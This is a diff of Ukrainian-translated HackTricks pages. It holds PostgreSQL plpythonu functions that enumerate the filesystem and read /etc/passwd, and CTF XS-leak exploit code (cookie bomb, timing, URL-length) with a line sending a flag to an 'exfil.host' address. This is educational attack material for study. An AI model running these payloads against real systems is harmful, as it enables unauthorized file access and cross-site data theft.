SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Знайти W папку" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -124,7 +131,9 @@ LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Знайти файл" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -157,7 +166,9 @@ LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Знайти виконувані файли" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -189,7 +200,9 @@ LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Знайти exec за допомогою subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -222,7 +235,9 @@ LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Читати" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -236,7 +251,9 @@ LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Отримати права" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -250,9 +267,9 @@ LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Запит" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -276,6 +293,8 @@ LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
## pgSQL
@ -293,14 +312,17 @@ SELECT req3('https://google.com'); #Request using python3
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Cookie Bomb + Onerror XS Витік
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити свою **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Наступний **скрипт**, взятий з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), використовує функціонал, який дозволяє користувачеві **вставляти будь-яку кількість кукі**, а потім завантажувати файл як скрипт знанням, що правильна відповідь буде більшою, ніж хибна, і тоді. У разі успіху відповідь - це перенаправлення з більш довгим URL, **занадто великим для обробки сервером, тому повертає помилку статусу http**. Якщо пошук не вдається, нічого не відбудеться, оскільки URL короткий.
Наступний **скрипт**, взятий з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), експлуатує функціональність, яка дозволяє користувачу **вставляти будь-яку кількість куків**, а потім завантажує файл як скрипт, знаючи, що справжня відповідь буде більшою, ніж хибна, і тоді. Якщо успішно, відповідь є перенаправленням з URL, що в результаті довший, **занадто великий для обробки сервером, тому повертає код статусу помилки http**. Якщо пошук не вдається, нічого не станеться, оскільки URL короткий.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Виконання JavaScript XS Leak
# JavaScript Execution XS Leak
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Головна сторінка, яка генерує iframes на попередню сторінку `/guessing`, щоб перевірити кожну можливість
Головна сторінка, яка генерує iframe для попередньої сторінки `/guessing`, щоб протестувати кожну можливість
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Примусове завдання
# performance.now + Force heavy task
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Експлойт взято з [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
У цьому виклику користувач міг відправити тисячі символів, і якщо прапор містився, символи були б відправлені назад на бота. Таким чином, відправляючи велику кількість символів, зловмисник міг виміряти, чи містить прапор відправлений рядок чи ні.
У цьому виклику користувач міг надіслати тисячі символів, і якщо прапор містився, символи поверталися б боту. Таким чином, надіславши велику кількість символів, зловмисник міг виміряти, чи містився прапор у надісланому рядку чи ні.
{% hint style="warning" %}
Спочатку я не встановив ширину та висоту об'єкта, але пізніше виявив, що це важливо, оскільки типовий розмір занадто малий, щоб вплинути на час завантаження.
Спочатку я не встановлював ширину та висоту об'єкта, але пізніше я зрозумів, що це важливо, оскільки розмір за замовчуванням занадто малий, щоб вплинути на час завантаження.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Приклад performance.now
# performance.now приклад
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
**Приклад взято з [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Максимальна довжина URL - Клієнтська сторона
# URL Max Length - Client Side
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Код з [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
</script>
</html>
```
Серверна частина:
Серверна сторона:
```python
from flask import Flask, request
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
